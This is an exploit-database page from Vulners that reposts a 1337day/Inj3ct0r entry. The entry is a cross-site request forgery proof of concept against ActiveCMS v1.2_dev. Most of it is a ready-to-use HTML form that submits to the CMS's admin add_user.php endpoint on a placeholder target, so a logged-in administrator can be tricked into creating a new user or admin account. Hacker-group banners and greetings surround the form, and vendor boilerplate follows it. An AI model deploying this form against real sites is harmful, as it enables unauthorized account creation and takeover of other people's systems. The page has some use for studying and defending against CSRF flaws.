Vulners
Lucene search
ActiveCMS v1.2_dev CSRF (Add User) Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
###
# Title : ActiveCMS v1.2_dev CSRF (Add User) Vulnerability
# E-mail : [email protected] | [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : php
# Impact : Add New (User/Admin)
# Tested on : Windows XP sp3 FR & Linux.(Ubuntu 10.10) En
###
# [è’¸ ~ special thanks to All Inj3cT0r Team + Exploit-id Team ++ Dr.Ride
###
# ==== HTML Code ===>
<html>
<body bgcolor="000000">
<div align="center" style='color: green;'><b> > CSRF Add New User Tool Page < </b><br></br></div>
<div align="center" style='color: blue;'><b>*** ActiveCMS v1.2_dev / CSRF Vulnerability ***</b><br></br></div>
<div align="center" style='color: red;'><b>Enter User Setting and Info : </b></div>
<table align="center" valign="center" bgcolor="000000" align="center" cellpadding="0" style="border: 1px #000000 solid;">
<tr width=400 height=20><td align="center" bgcolor="000000"style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
<b>(+) Create New User :</b></td></tr><tr width="400" height="20"><td>
<form method="POST" action="http://[Target]/admin/inc/add_user.php">
<table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
<tr><td>User Name :</td><td><input class="ta" name="user_login" id="user_login" type="text" maxlength="20"></td></tr>
<tr><td>User e-mail : </td><td><input class="ta" name="user_email" id="user_email" type="text" maxlength="20"></td></tr>
<tr><td>Password :</td><td><input class="ta" name="user_password" id="user_password" maxlength="20" type="password"></td></tr>
<input name="createe" type="hidden" value="creatuser"></td></tr>
<table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
<tr><td>ConfirmPW :</td><td><input class="ta" name="user_password_verif" id="user_password_verif" type="password" maxlength="20"></td></tr>
<tr><td></td><td><input type="submit" value="Create New User"></td></tr>
</table>
</form>
</td></tr></table>
<div align="center" style='color: green;'><b> Exploited and Provided By : <div align="center" style='color: red;'><b>KedAns-Dz</b></b>
</body>
</html>
# ==> Save (*.html) and Add User => loggin ! ...
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *
# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n 'www.1337day.com/team' ++ ....
# Exploit-Id Team : jos_ali_joe + kaMtiEz (exploit-id.com) ... All Others * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * KelvinX (kelvinx.net) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...
#================================================================================================
# 0day.today [2018-03-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Apr 2011 00:00Current
7.1High risk
Vulners AI Score7.1